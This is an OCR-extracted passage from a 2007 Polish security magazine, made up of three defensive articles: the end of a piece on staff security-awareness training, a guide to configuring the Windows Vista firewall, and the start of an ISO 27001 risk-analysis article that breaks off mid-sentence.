w to podanie swojego hasła, oso-
bie, która zadzwoni i przedstawi
się jako pracownik firmy świadczą-
cej tą usługę i właśnie próbuje usu-
nąć awarię.

Innym przykładem, kiedy użyt-

kownicy zareagują podobnie, a więc
nie zweryfikują i nie sprawdzą, czy
osoba jest właśnie tą osobą, za któ-
rą się podaje jest sytuacja, kiedy to
osoba atakująca podaje się za funk-
cjonariusza policji, czy choćby za ko-
mornika sądowego. W takim przy-
padku atakującemu zależeć może
w szczególności na danych osobo-
wych, a procent użytkowników, któ-
rzy udostępnią chronione dane bę-
dzie podobny.

Takich przykładów można mno-

żyć bardzo wiele. Wszystkie one
powinny być omawiane na szkole-
niach. Każdy użytkownik może bar-
dzo dobrze wiedzieć, co mu, wolno
a czego nie, zgodnie z polityką bez-

pieczeństwa, ale zareagować na
dane zdarzenie może zupełnie ina-
czej. Odpowiednia reakcja w każdej
sytuacji niestandardowej, budzącej
wątpliwości, musi być zatem świa-
doma i wyuczona. Omawianie kon-
kretnych zdarzeń nauczy też użyt-
kownika identyfikować te niestan-
dardowe sytuacje, które potencjal-
nie mogą być szkodliwe dla firmy.
Zauważalny jest fakt, że w przy-
padku, kiedy użytkownik ma świa-
domość, jak ważne są dane, które
przetwarza i wie, że musi je chronić,
to przy wystąpieniu zdarzenia, któ-
re według jego oceny może być pró-
bą ataku, a nie wie jak ma się za-
chować, w pierwszej kolejności, za-
nim cokolwiek zrobi, zgłosi się o po-
moc do CSO.

Inaczej jest wówczas, kiedy mu-

simy chronić firmowe tajemnice
przed celowym udostępnieniem nie-
powołanym osobom. Występowanie
takich zdarzeń jest tak samo praw-
dopodobne jak zdarzenia opisywa-
ne wcześniej. Bardzo często słyszy-
my o przypadkach, kiedy to firma
konkurencyjna podkupiła pracow-
nika, który udostępnia na życzenie
odpowiednie bazy danych lub ści-
śle strzeżone receptury. Innym za-
grożeniem tego typu może być nie-
zadowolony lub właśnie zwolnio-

ny z pracy pracownik, który w ra-
mach zemsty modyfikuje, albo usu-
wa wrażliwe dane.

Budowanie świadomości w tym

wypadku musi koncentrować się
na wiedzy personelu dotyczącej
konsekwencji dyscyplinarnych oraz
prawnych w wyniku naruszenia za-
sad zarządzania bezpieczeństwem
informacyjnym. Organizacje próbu-
ją się zabezpieczyć przed celowym
działaniem użytkownika na szkodę
firmy na różne sposoby. Wykorzy-
stują między innymi oprogramo-
wanie monitorujące wszystkie ko-
piowane pliki na różnego rodza-
ju nośniki zewnętrzne, czy naka-
zują podpisanie przez pracownika
zobowiązania do zachowania ta-
jemnicy służbowej. Stosują zasa-
dy poufności, czyli pracownik ma
dostęp tylko do danych do których
jest upoważniony, oraz rozliczalno-
ści. Regularne szkolenia mają na
celu także podtrzymanie świado-
mości. W związku z tym CSO po-
winien tak ułożyć program szkole-
nia, żeby pracownicy mogli sobie
odświerzyć to, co już znają. Przy
tym nie mogą się nudzić, ponieważ
może to doprowadzić do zlekcewa-
żenia problemów bezpieczeństwa.
Jeśli chodzi o szkolenie kadry za-
rządzającej może to skutkować
tym, że na następne szkolenie nikt
z kierownictwa nie znajdzie czasu.
Program nie może być jednakowy
dla wszystkich. Powinien być inny
dla kierownictwa, inny dla admini-
stratorów sieci, informatyków, inny
dla kluczowych użytkowników apli-
kacji, a jeszcze inny dla pracow-
ników portierni czy osób sprząta-
jących.

Podtrzymywanie

świadomości

poza formą spotkań szkoleniowych
można dodatkowo realizować na inne,
również skuteczne sposoby. Dobrym
rozwiązaniem jest umieszczanie w fir-
mowych biuletynach lub intranecie,
wewnętrznym portalu firmy, wszel-
kich informacji związanych z bezpie-
czeństwem informacyjnym, np. opisy
prób włamania się do sieci, jeśli takie
miało miejsce. W jaki sposób atakują-
cy chcieli wykraść informacje, jak to
udaremniono, kto się do tego przyczy-

Rysunek 2.

Świadomość i technologia

background image

Świadomość zagrożeń i potrzeby ochrony informacji.

nił itp. Serwis taki powinien być dodat-
kowo wsparty przez kadrę zarządza-
jącą w postaci artykułów pochwalnych
dla pracowników, którzy odpowiednio
zareagowali na zdarzenie. Pozosta-
li pracownicy z ciekawością przeczy-
tają kto, i za co został wyróżniony, czy
nagrodzony. Takie zdarzenia powinny
być nagłaśniane.

Innym sposobem podtrzymywania

świadomości może być wykorzystanie
do tego celu systemu e-learning, - o
ile jest on w danej organizacji wdrożo-
ny – poprzez tworzenie szkoleń koń-
czących się egzaminem. W tym przy-
padku każdy użytkownik uczestniczy
w szkoleniu w dowolnym dla siebie
czasie, może je w każdym momencie
powtórzyć i na koniec zdać egzamin,
co jest dobrym sprawdzianem wiedzy.
Taki system jest często stosowany w
dużych przedsiębiorstwach. W mniej-
szych natomiast CSO bardzo często
posługuje się szkoleniami indywidu-
alnymi. Polega to na spotkania z jed-

nym, lub małą grupką pracowników i
rozmowach na temat zasad bezpie-
czeństwa dotyczących konkretnego
stanowiska pracy.

Dużą popularnością cieszą się

projekcje filmów na temat bezpieczeń-
stwa. Często jest to frajda dla pracow-
ników siedzących wiele godzin przed
komputerem. Frajda, ale z pożytecz-
nym skutkiem. Filmy takie pokazu-
ją konkretne zdarzenia, luki, sposoby
działania szpiegów gospodarczych,
socjotechników. Pracownik zauważa-
jąc pewne podobieństwa charakte-
ru swojej pracy z tym, co zobaczył na
filmie szybko zaczyna zdawać sobie
sprawę, że atak może nastąpić w każ-
dym momencie i że ofiarą może być
nawet on sam. Niezależnie od tego,
jakie sposoby budowania świadomo-
ści CSO stosuje w każdym przypad-
ku, choćby niewielkie wsparcie od
strony kadry zarządzającej odgry-
wa bardzo dużą rolę. Nawet krótkie
wystąpienie Dyrektora przed szkole-
niem zachęcające do udziału w nim
od razu zmienia jego rangę.

Jak widać budowanie świadomo-

ści nie jest zadaniem prostym. Wy-
maga od CSO dużych zdolności dy-
daktycznych i odpowiedniego podej-
ścia do ludzi. Musi umieć przekonać
do siebie i do pojęcia bezpieczeństwa
każdego bez wyjątku pracownika, a w

szczególności kadrę zarządzającą.

Aby zbudowanie odpowiedniej

świadomości personelu było możli-
we, CSO musi również swoją wie-
dzę nieustannie poszerzać, być na
bieżąco z zagadnieniami związany-
mi z bezpieczeństwem, uczestniczyć
w szkoleniach, konferencjach, śle-
dzić fachową prasę.

Dobrze jest, jeśli swoją wiedzę

potwierdza renomowanymi certyfi-
katami, co pomoże w budowaniu od-
powiedniej pozycji w firmie. Może
być dzięki temu coraz lepiej postrze-
gany w środowisku kierownictwa i
całego personelu. Zabezpieczenia
techniczne i proceduralne są bardzo
istotne i konieczne, ale dopiero po-
łączone z odpowiednim przeszkole-
niem i wysoką świadomością użyt-
kowników znacznie usprawnia się
poziom bezpieczeństwa informacyj-
nego w przedsiębiorstwie.

Okazuje się, że nie bez powodu

człowieka uważa się na najsłabszy
punkt w całym systemie zarządzania
bezpieczeństwem w organizacji. Pro-
ces kształcenia użytkownika jest dłu-
gotrwały i wymaga bardzo wielkiego
zaangażowania ze strony CSO i ka-
dry zarządzającej. Czasami wystar-
czy, że jeden z elementów całej po-
lityki uświadamiania nie funkcjonuje
odpowiednio, aby nie udało się osią-
gnąć zamierzonych celów. l

O autorze

Główny Specjalista ds. Bezpieczeństwa
IT w jednej z Agencji Rządowych. Od 5
lat zajmuje się zagadnieniami związany-
mi z bezpieczeństwem informacji.
Kontakt z autorem: kuczynski.a@gma-
il.com

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 4/2007

40

Obrona

C

zy jesteśmy w stanie przypomnieć so-
bie, jak wyglądała nasza praca z kom-
puterami kilkanaście lat temu, gdzie

na rynku dominował system operacyjny DOS,
OS/2 oraz Windows 3.0/3.1, a następnie po-
czątki Windows 95? Jak wyglądała dystry-
bucja oprogramowania oraz jak wyglądało
bezpieczeństwo naszych komputerów, o ile
w ogóle mogliśmy mówić o ich bezpieczeń-
stwie? Korzystaliśmy wówczas głównie z ha-
seł zakładanych na BIOS, a nasze aplikacji pi-
saliśmy tak, aby zawierały ekran do logowa-
nia. Zagrożeń zewnętrznych w zasadzie nie
było, ponieważ większość osób nie była pod-
łączona do Internetu i nikt poza nami nie miał
dostępu do naszego komputera (pomijam sy-
tuacje, kiedy ktoś fizycznie siadał przed na-
szym komputerem w pracy czy w domu). In-
ternet jest obecny dzisiaj w każdej dziedzi-
nie naszego życia prywatnego i zawodowe-
go. Dzięki niemu mamy dostęp do różnorod-
nych informacji, aplikacji, usług. Internet jest
również jednym z największych zagrożeń bez-
pieczeństwa naszych komputerów. Ilość infor-
macji, która przepływa przez nasze kompute-
ry jest ogromna i jest to największe zagroże-
nie. Nie jesteśmy bowiem w stanie przeanali-

zować tych wszystkich informacji pod wzglę-
dem bezpieczeństwa. Dodatkowym ryzykiem
jest fakt, że nasze komputery są podpięte do
sieci prawie przez cały czas, a co za tym idzie
narażone są na ataki z zewnątrz. Będąc na-
rażonym na różnego rodzaju włamania, wi-
rusy, robaki i wszelkie inne zagrożenia liczy-
my na to, że system operacyjny będzie w sta-
nie nas obronić. Wiadome jest, że nasz sys-

Zapora systemu

Windows Vista - a złudne

bezpieczeństwo systemu

Artur Żarski

stopień trudności

Czym jest zapora w systemie operacyjnym i jakie ma podstawowe

znaczenie? Artykuł ma na celu przedstawienie Windows Firewall

w systemie operacyjnym Vista, odpowiedzieć na pytanie jakie

są podstawowe komponenty oraz w jaki sposób zabrać się

do zabezpieczeń naszego komputera przed niepowołanym

dostępem.

Z artykułu dowiesz się...

• artykuł ma na celu pokazanie konieczności ko-

rzystania z firewall’a na swoim komputerze oraz
zagrożeń wynikających z braku jego posiada-
nia,

• publikacja pokazuje co jest nowego w systemie

bezpieczeństwa Vista

Co powinieneś wiedzieć...

• znajomość zasad bezpieczeństwa systemów

operacyjnych w szczególności informacji o sys-
temach firewall,

• wiedza na temat protokołów komunikacyjnych,

filtrów oraz reguł.

background image

Zapora systemu Windows Vista

hakin9 Nr 4/2007

www.hakin9.org

41

tem operacyjny nie będzie zawierał
kompletu oprogramowania, np. pro-
gramu antywirusowego, ale będzie
za to w stanie odeprzeć podstawo-
we ataki z sieci. Jednym z najbar-
dziej powszechnych nieporozumień
dotyczących bezpieczeństwa infor-
macji jest myśl, że systemy i apli-
kacje mogą być wykonane jako cał-
kowicie bezpieczne. Mogłoby to być
prawdą, gdybyśmy mogli usunąć
element ludzki, ale niestety przy
potencjalnych błędach, tak w pro-
gramowaniu, jak i przy działaniach
użytkownika, całkowicie bezpiecz-
ny system będzie nadal narażony
na pewne ryzyko. W dzisiejszym
świecie całkowicie nierealistycz-
ne jest założenie, że jakikolwiek
system jest całkowicie bezpieczny.
Wystarczająco umotywowani ha-
kerzy zawsze będą szukać sposo-
bów na ominięcie zabezpieczeń. W
przypadku wykorzystywania Inter-
netu dodatkowo myślimy często o
tym, że naszym głównym i jedynym
sprzymierzeńcem jest zapora (ang.
firewall). Łączenie się z Internetem
bez zapory firewall przypomina po-
zostawienie samochodu z kluczyka-
mi w stacyjce i otwartymi drzwiami i
udanie się na zakupy. Można oczy-
wiście zrobić zakupy i wrócić, zanim
ktoś to zauważy, ale równie dobrze

ktoś może wykorzystać nadarzają-
cą się okazję. W Internecie działają
hakerzy, którzy za pomocą złośliwe-
go kodu, np. wirusów, robaków i ko-
ni trojańskich, próbują znaleźć nie-
zabezpieczone komputery. Zapora
firewall może pomóc w zabezpie-
czeniu komputera przed tymi i inny-
mi atakami zagrażającymi bezpie-
czeństwu danych. O to jakie są ro-
dzaje zapór:

• filtrujące - monitorują przepły-

wające przez nie pakiety siecio-
we i przepuszczają tylko te, któ-
re są zgodne z regułami usta-
wionymi na danej zaporze (za-

pora pracująca dodatkowo jako
router).

• oprogramowanie

komputerów

stacjonarnych - udostępnia wy-
brane porty do połączeń "z ze-
wnątrz" monitorując ruch, udo-
stępnia także połączenia na ze-
wnątrz komputera wybranym
usługom/programom.

Często

zintegrowane z ochroną antywi-
rusową.

• zapory pośredniczące (proxy)

- wykonujące połączenie z ser-
werem w imieniu użytkowni-
ka. Przykładowo, zamiast uru-
chomienia sesji http bezpośred-
nio do zdalnego serwera WWW,
uruchamiana jest sesja z zaporą
i dopiero stamtąd uruchamiane
jest połączenie z systemem zdal-
nym. Cała komunikacja na ser-
wer http przechodzi przez proxy,
które może filtrować ruch.

Windows Firewall

W tym miejscu dochodzimy do sed-
na tematu – przyjrzyjmy się zapo-
rze ogniowej w systemie Vista oraz
jej ustawieniom. Bezpieczeństwo w
systemie Vista jest podstawowym
elementem wyróżniającym ten sys-
tem od jego poprzedników. W syste-
mie Vista firewall posiada dwa inter-
fejsy użytkownika. Pierwszy z nich to
klasyczne okno konfiguracji przezna-
czone dla mniej zaawansowanych
użytkowników, bazujące na poprzed-
niej wersji zapory (Rysunek 1),

Drugi natomiast przeznaczony

jest do szerokich możliwości konfi-

Rysunek 1.

Interfejs zapory dla początkujących

Rysunek 2.

Interfejs konfiguracji firewall dostępny poprzez MMC

background image

hakin9 Nr 4/2007

www.hakin9.org

Obrona

42

guracji i kierowany do zaawansowa-
nych użytkowników systemu (Rysu-
nek 2.).

Pierwszy z interfejsów dostępny

jest z Panelu Sterowania w opcjach
bezpieczeństwa (Security Center),
do drugiego natomiast możemy do-
stać się poprzez konsolę MMC, lub
też poprzez konsolę Local Security
Policy dostępną w Panel Sterowania
-> Narzędzia Administracyjne. Kon-
figuracja jest również dostępna po-
przez linię komend i polecenie netsh
advfirewall.

Włączenie konsoli pozwoli nam

nie tylko na konfigurację Windows
Firewall dla lokalnej stacji, ale rów-
nież na konfigurację zdalną innych
komputerów poprzez Group Policy.
Wszystkie funkcje Firewalla są zin-
tegrowane z ustawieniami IPSec (In-
ternet Protocol security), redukując
przez to możliwość konfliktów po-
między dwoma mechanizmami za-
bezpieczeń. Windows Firewall with
Advanced Security, bo tak nazywa
się w pełni nowy Windows Firewall,
wspiera możliwość rozdzielenia pro-
fili, gdy komputer jest włączony do
domeny lub do np. sieci publicznej.
Nowa zapora wspiera dodatkowo ob-
sługę reguł dla Active Directory, ru-
chu IP, portów IP, ustawień ICMP,
ustawień IPSec oraz różnych innych
specyficznych interfejsów i usług.

W Tabeli 1. znajduje się zesta-

wienie najważniejszych funkcjonal-
ności, poprawionych oraz nowo do-
danych.

W Tabeli 1. znajduje się zesta-

wienie najważniejszych poprawio-
nych funkcjonalności oraz nowo do-
danych.

Kolejność

wykonywania reguł

Windows Firewall with Advanced Se-
curity wspiera następujące typy re-
guł:

• Windows Service Hardening.
• Reguły bezpieczeństwa połą-

czeń.

• Reguły autentykacji
• Reguły blokujące
• Reguły zezwalające
• Reguły standardowe

Tabela 1.

Zestawienie najważniejszych funkcjonalności Windows Firewall w

systemie Vista

Funkcjonalność

Opis

Windows Service
Hardening

Windows Service Hardening pomaga chro-
nić krytyczne usługi system Windows przed
użyciem ich przez złośliwe oprogramowanie
w systemie plików, rejestrach czy sieci. Jeśli
firewall wykryje nienormalne zachowanie ja-
kieś usługi wtedy ją blokuje.Dodatkowo mo-
żemy określić, że dany serwis może zapi-
sywać tylko do okreslonego miejsca w sys-
temie plikó lub rejestrów opartych o Access
Control Lists (ACL).

Granularne reguły

Standardowo Windows Firewall jest włączo-
ny dla obu wchodzących i wychodzących
połączeń. Standardowe polisy blokują więk-
szość połączeń przychodzących i pozwala-
ją na połączenia wychodzące. W przypad-
ku zaawansowanych ustawień możliwe jest
dodatkowe definiowanie reguł dla połączeń
przychodzących i wychodzących. Windows
Firewall with Advanced Security dodatkowo
wspiera filtrowanie dowolnej ilości protoko-
łów, gdy poprzednia wersja wspierała tylko
filtrowanie UTP, TCP oraz ICMP.

Filtrowanie połączeń
wychodzących

Windows Firewall pozwala na zarządzanie fil-
trowaniem połączeń wychodzących. Pozwala
to na określenie, które aplikacje dopuszczone
są do generowania ruchu w sieci.

Różne profile

Możliwe jest konfigurowanie różnych reguł
i ustawień dla różnych profili. Do dyspozycji
mamy następujące profile:

Domain (Domena) - Używane podczas połą-
czenia komputera do domeny Active Direc-
tory, której dany komputer jest członkiem.

Private (Prywatne) - Używane kiedy kompu-
ter podpięty jest do prywatnej sieci za wła-
sną bramą lub routerem. Tylko użytkownik z
uprawnieniami administracyjnymi może de-
sygnować daną sieć jako prywatną.

Public (Publiczna) – Używana kiedy komputer
podłączony jest bezpośrednio do internetu lub
dowolnej innej sieci, która nie została zazna-
czona jako domena lub prywatna.

Wspracie dla
Active Directory

Możliwe jest stworzenie reguł firewall, któ-
re filtrować będą połączenia użytkowni-
ka, komputera lub grupy w Active Directo-
ry. Dla tego typu reguł połączenie musi być
zabezpieczone przy użyciu IPSec używa-
jąc uprawnień, którymi możliwe jest przesy-
łanie informacji o koncie np. Kerberos wer-
sja 5 (v5).

Wsparcie dla IPv6

Windows Firewall with Advanced Security w
pełni wspiera czyste środowisko Ipv6

background image

Zapora systemu Windows Vista

hakin9 Nr 4/2007

www.hakin9.org

43

Rysunek 3. przedstawia kolejność
wykonywania poszczególnych reguł
przez Windows Firewall. Kolejność
ta jest zawsze zachowana i wykony-
wana, nawet jeśli reguły pochodzą z
Group Policy.

Reguły, włączając te z Group Po-

licy, są sortowane, a następnie za-
stosowywane. Administratorzy do-
meny mogą pozwolić lub zabronić
administratorom lokalnym na two-
rzenie nowych reguł.

Konfigurowanie

właściwości firewalla

Aby rozpocząć konfigurację naszej
zapory uruchamiamy opcję właści-
wości Windows Firewall. Zostanie
uruchomione okienko z Rysunku 4.

Zaraz po uruchomieniu zobaczyć

można trzy dostępne profile oraz
konfigurację IPSec. Aktualny status
pracy zapory możemy zobaczyć po-
przez zamknięcie okienka i przejście
do widoku głównego konsoli (Rysu-
nek 6.).

W tym przypadku, pomimo że sa-

ma zapora jest włączona, nie jest
ona do końca skonfigurowana. Więk-
szość ustawień ma standardowe
właściwości, co może spowodować
potencjalne zagrożenie. W kolejnych
opcjach możemy ustawić poszcze-
gólne reguły.

Przeglądanie reguł dostępne

jest z menu w opcjach „reguły przy-
chodzące” oraz „reguły wychodzą-
ce”. W naszym przypadku nie mamy
jeszcze zdefiniowanych żadnych re-
guł. Tworzenie nowych reguł również
odbywa się z lewego panelu widoku
głównego. Mamy możliwość utwo-
rzenia następujących typów reguł:

• Reguły dla programów – po-

zwala na połączenie tylko kon-
kretnym programem. Żaden in-
ny program nie będzie mógł ko-
rzystać z sieci. Identyfikacja
następuje po wskazaniu ścież-
ki i pliku uruchomieniowego dla
danego programu.

• Reguły dla portów – ten typ re-

guł pozwala kontrolować ruch dla
poszczególnych numerów por-
tów TCP lub UDP lub też wybra-
nego zakresu.

• Reguły predefiniowalne – Win-

dows zawiera kilkadziesiąt funkcji
systemu, które możemy włączyć,
np. udostępnianie plików i druka-
rek, zdalny dostęp. Wybierając
predefiniowaną regułę pozwalamy
danej usłudze na dostęp do sieci.

• Reguły własne – pozwalają na

tworzenie pozostałych reguł, któ-
rych nie dało się zrobić lub uru-
chomić regułami standardowymi.

Jak utworzyć regułę? Wykonujemy
to w kilku krokach. W naszej konso-

Rysunek 3.

Kolejność wykonywania poszczególnych reguł

Rysunek 4.

Konfiguracja zapory

background image

hakin9 Nr 4/2007

www.hakin9.org

Obrona

44

li na liście klikamy w reguły przycho-
dzące lub reguły wychodzące i wy-
bieramy opcję nowa reguła. Uka-
że się okienko, jak na Rysunku 6, w
którym wybieramy typ naszej regu-
ły, a następnie przechodzimy przez
wszystkie kroki kreatora, który pro-
wadzi nas przez poszczególne usta-
wienia.

Dostęp z linii poleceń

Bardzo przydatnym narzędziem jest
polecenie Netsh Advfirewall, które
dostępne jest z linii poleceń. Dzięki
niemu możemy skonfigurować nasz
firewall bez potrzeby uruchamia-
nia aplikacji okienkowych. W syste-
mie Vista używając polecenia netsh

możliwe jest tworzenie skryptów do
automatycznej konfiguracji ustawień
Windows Firewall, tworzenia reguł,
monitorowania połączeń, a także
wyświetlania statusu całej zapory.

Po wydaniu polecenia netsh ad-

vfirewall mamy do dyspozycji nastę-
pujące polecenia:

Export/Import – eksportuje lub

importuje aktualne polisy zapory
do lub z pliku.

Help – wyświetla listę dostęp-

nych poleceń.

Reset – przywrócenie standardo-

wych ustawień.

Set file – kopiuje zawartość kon-

soli do pliku.

Set machine – zmienia maszynę,

którą aktualnie konfigurujemy.

Show allprofiles/domainprofile/

privateprofile/publicprofile – wy-
świetlenie ustawień dla wybrane-
go profilu.

Podsumowanie

Windows Firewall w systemie Win-
dows Vista jest zaporą, która po-
zwala na blokowanie przychodzą-
cych i wychodzących połączeń.
Użytkownicy, którzy są mniej za-
awansowani w konfiguracji zapory
systemu mogą nadal używać stare-
go i znanego narzędzia dostępne-
go w Panelu Sterowania. Użytkow-
nicy bardziej zaawansowani mają
do dyspozycji całą konsolę MMC,
która pozwala na bardzo dokładne
i bardzo szczegółowe ustawienia.
Dodatkowo nowe opcje firewalla są
teraz zintegrowane z IPSec. Win-
dows Firewall with Advanced Secu-
rity pracuje również z Network Lo-

cation Awareness (NLA), który po-
zwala na stosowanie ustawień bez-
pieczeństwa bazując na typie sie-
ci, do którego podpięty jest kom-
puter. Musimy jednak znać zasady
połączeń sieciowych, mieć podsta-
wową znajomość protokołów i ca-
łej masy innych ustawień, które są
konieczne do tego, aby zabezpie-
czyć się przed intruzami. Nieumie-
jętne oraz niedokładne korzystanie
z ustawień zapory może przynieść
nam więcej szkody niż pożytku.
Czasami warto jest po prostu po-
zostawić standardowe ustawienia
i unikać miejsc w sieci, które mogą
spowodować włamanie do naszego
komputera. l

Rysunek 6.

Widok główny konsoli

Rysunek 5.

Dostępne typy reguł

O autorze

Autor jest pracownikiem firmy Micro-
soft Polska. Pracuje na stanowisku De-
weloper Evangelist w dziale Developer
Evangelist w dziale Developer & Plat-
form Group. Zajmuje się bazami dany-
ych, hurtowniami danych oraz rozwią-
zaniami portalowymi w oparciu o na-
rzędzia Microsoft.
Kontakt z autorem: arturz@micro-
soft.com

background image
background image

www.hakin9.org

hakin9 Nr 4/2007

46

Obrona

T

a częsta praktyka może doprowadzić
do sytuacji, w której nie będzie można
poradzić sobie z daną katastrofą lub in-

cydentem, ponieważ nie będzie zdefiniowane-
go logicznego i przemyślanego planu postę-
powania z ryzykiem.

Będziemy się wtedy zastanawiać nie tyl-

ko, co zrobić, ale dlaczego dany incydent w
ogóle mógł mieć miejsce. Sami wtedy doj-
dziemy do wniosku, że być może nie zostały
zdefiniowane i zastosowane odpowiednie za-
bezpieczenia, lub same procesy nie zostały
dokładnie przeanalizowane pod kątem bez-
pieczeństwa.

Podstawą każdego wdrożenia Systemu

Zarządzania Bezpieczeństwem Informacji jest
przede wszystkim sprawnie przeprowadzona
i przemyślana analiza ryzyka. Jest ona punk-
tem wyjściowym do dostosowania polityki
bezpieczeństwa do faktycznych potrzeb i real-
nych zagrożeń dla danej organizacji.

Sama norma ISO 27001 wymaga od

przedsiębiorstwa, zdefiniowania i przeanalizo-
wania potencjalnego ryzyka i wybrania na je-
go podstawie odpowiednich metod zabezpie-
czeń. Jednak sama analiza ryzyka to później-
szy etap.

Krok pierwszy – wybór metody

Pierwsze kroki przy rozpoczęciu całego pro-
cesu analizy ryzyka to wybór odpowiedniej
metody jego przeprowadzenia i dobranie od-
powiednio przeszkolonego personelu. Wśród
specjalistów zaangażowanych w prace nad
analizą ryzyka powinni znaleźć się członko-
wie zarządu firmy, dyrektorowie pionów, dzia-
łów, informatycy oraz pracownicy ochrony fi-
zycznej. Wspólnie określają oni poziom ak-
ceptowanego ryzyka oraz podatność przed-
siębiorstwa na nie. Przed rozpoczęciem prac
nad analizą ryzyka, powinny zostać sklasyfi-
kowane informacje oraz aktywa je przetwa-
rzające, przechowujące i niszczące informa-
cje. Należy również zdefiniować tzw. „obsza-
ry bezpieczne”, w których znajdują się strate-

Analiza ryzyka – Zarządza-

nie Bezpieczeństwem

Informacji

Tomasz Polaczek

stopień trudności

Częstym błędem przy wdrażaniu polityki bezpieczeństwa

informacji w rozmaitych organizacjach, jest szybkie i

powierzchowne podejście do problemów. Bardziej oparte na

intuicji, niż wynikające z przemyślanych analiz incydentów, czy

innych zdarzeń mających wpływ na zachwianie bezpieczeństwa

zarówno informacji, jak i IT.

Z artykułu dowiesz się...

• czym jest analiza ryzyka,
• dlaczego jest tak ważnym procesem przy

wdrażaniu sprawnego Systemu Zarządzanie
Bezpieczeństwem Informacji. Sprawnie prze-
prowadzona, z odpowiednią grupą osób z or-
ganizacji, jest podstawą bezpieczeństwa.

background image

System Zarządzania Bezpieczeństwem Informacji

hakin9 Nr 4/2007

www.hakin9.org

47

giczne dane organizacji, sprzęt in-
formatyczny oraz pracownicy, któ-
rych brak lub odejście z firmy mo-
że spowodować wypłynięcie waż-
nych danych lub zachwianie ciągło-
ści działania. Ważne jest również
określenie właścicieli danych infor-
macji i aktywów.

Krok drugi –

identyfikacja zagrożeń

Następnie przychodzi czas na do-
kładną identyfikację zagrożeń i po-
datności na nie dla każdego ze skla-
syfikowanych aktywów, informacji,
obszarów oraz ludzi. Istotne jest,
aby identyfikacja dotyczyła real-
nych, prawdopodobnych zagrożeń,
na jakie może zostać narażona or-
ganizacja. Po tak dokładnej identy-
fikacji, określa się skutki potencjal-
nych katastrof.

Określając skutki wystąpienia

katastrofy możemy w prosty sposób
przejść do wyboru odpowiednich za-
bezpieczeń w postaci sprzętu, opro-
gramowania, procesów, procedur
oraz polityk. Wybór zabezpieczeń
na podstawie przeprowadzonej ana-
lizy znacznie wpływa na zminimali-
zowanie kosztów wdrożenia tych za-
bezpieczeń oraz na jego czas. Jeśli
w analizie zostaną określone ryzyka
krytyczne, to bardzo ważne dla da-
nej organizacji jest jak najszybsze je-
go zmniejszenie do poziomu akcep-
towalnego.

Po oszacowaniu skutków wystą-

pienia ryzyka, należy też oszacować
hipoteczną wielkość szkód, jakie mo-
że spowodować dana katastrofa.

Krok trzeci -

prawdopodobieństwo

W następnym etapie, gdy mamy
już oszacowane ewentualne skut-
ki i szkody spowodowane wystą-
pieniem katastrofy, należy określić
prawdopodobieństwo ich wystąpie-
nia. Dla niektórych obszarów, akty-
wów, procesów, prawdopodobień-
stwo to może być wysokie z uwagi
na niezastosowanie w tych obsza-
rach żadnych zabezpieczeń, lub za-
stosowanie słabych, niewystarcza-
jących i nie adekwatnych do waż-
ności samego zagadnienia. Poja-

wią się też obszary, aktywa, infor-
macje, gdzie prawdopodobieństwo
będzie bardzo małe; zabezpiecze-
nia mogą już istnieć, być odpowied-
nie i wystarczające, co w dużym
stopniu zmniejsza ryzyko wystąpie-
nia katastrofy. Jednak nawet mimo
wystąpienia małego prawdopodo-
bieństwa, należy zawsze zachować
czujność i na bieżąco monitorować
obszary, aktywa, informacje, ludzi
wymienionych w analizie ryzyka.

Same ryzyka możemy podzielić

na cztery grupy:

• Ryzyko akceptowalne
• Ryzyko akceptowalne czasowo
• Ryzyko nieakceptowane
• Ryzyko krytyczne

Dla każdego z nich możemy zało-
żyć odpowiednie ramy czasowe, w
których musimy dane ryzyko zmniej-
szyć lub tylko monitorować - w przy-
padku ryzyka akceptowalnego. Moż-
na założyć sobie następujący sce-
nariusz.

Ryzyko akceptowalne – nie są

podejmowane żadne działania, jest
ono monitorowane podczas przeglą-
du SZBI.

Ryzyko akceptowalne warunko-

wo – Forum Zarządzania Bezpie-
czeństwem Informacji decyduje, czy

zostaną podjęte działania korygujące
i zapobiegawcze, zależy to od orga-
nizacji pracy oraz kosztów zabezpie-
czeń. Jeżeli nie są wymagane dzia-
łania korygujące lub zapobiegawcze
to stosowane są zabezpieczenia z
załącznika A normy ISO 27001, de-
cyzje są podejmowane do roku.

Ryzyko nieakceptowane - Forum

Zarządzania Bezpieczeństwem In-
formacji podejmuje działania korygu-
jące i zapobiegawcze w czasie do 6
miesięcy.

Ryzyko krytyczne - Forum Zarzą-

dzania Bezpieczeństwem Informacji
podejmuje działania korygujące i za-
pobiegawcze w czasie do 3 miesię-
cy, przeprowadza audit wewnętrz-
ny ISO 27001 we wszystkich obsza-
rach Urzędu, po 3 miesiącach prze-
prowadzana jest jeszcze raz anali-
za ryzyka.

Jednak, aby bardziej unaocznić

tą problematykę, przedstawimy sce-
nariusz realnej analizy ryzyka oraz
całego procesu, jaki się w związku
z nią odbywa.

Przykładowy scenariusz

Organizacja chcąca wdrożyć w
swych strukturach System Zarzą-
dzania

Bezpieczeństwem

Infor-

macji postanowiła rozpocząć pra-
cę od dokładnego oszacowania

Rysunek 1.

Spotkanie z kierownictwem organizacji

background image

hakin9 Nr 4/2007

www.hakin9.org

Obrona

48

ryzyka, istniejących podatności, praw-
dopodobieństwa występowania zagro-
żeń oraz analizy ryzyka. Na początku
wdrożenia powołano, zgodnie z wyma-
ganiem normy, forum bezpieczeństwa
odpowiedzialne za nadzór nad proce-
sem wdrożenia. Do prac nad analizą
ryzyka zaproszono zarząd, wszyst-
kich dyrektorów pionów, informatyków,
służby ochrony. Wraz z konsultantami
z zakresu bezpieczeństwa informa-
cji oraz bezpieczeństwa IT, zaczeli się
oni zastanawiać, czy i jakie wystąpiły
w przeszłości w organizacji incydenty
dotyczące naruszenia informacji, awa-
rii systemów informatycznych, zakłó-
ceń związanych z bezpieczeństwem
fizycznym i środowiskowym w obsza-
rach organizacji. Po określeniu takich
incydentów, przeanalizowano raz jesz-
cze, jakie czynniki miały wpływ na ich
wystąpienie i jakie działania korygują-
ce i zapobiegawcze zastosowano, aby
nie dopuścić w przyszłości do ponow-
nego wystąpienia podobnych zdarzeń.
Analizując te dane wraz z powołanymi
specjalistami z zakresu bezpieczeń-
stwa informacji i bezpieczeństwa IT,
zaczęto się zastanawiać, czy obecnie
zastosowane zabezpieczenia są ade-
kwatne do wagi posiadanych przez
przedsiębiorstwo informacji, aktywów,
procesów, obszarów i ludzi.

Wcześniej jednak konsultanci

przekazali wszystkim dyrektorom pio-
nów, formularz dotyczący klasyfika-
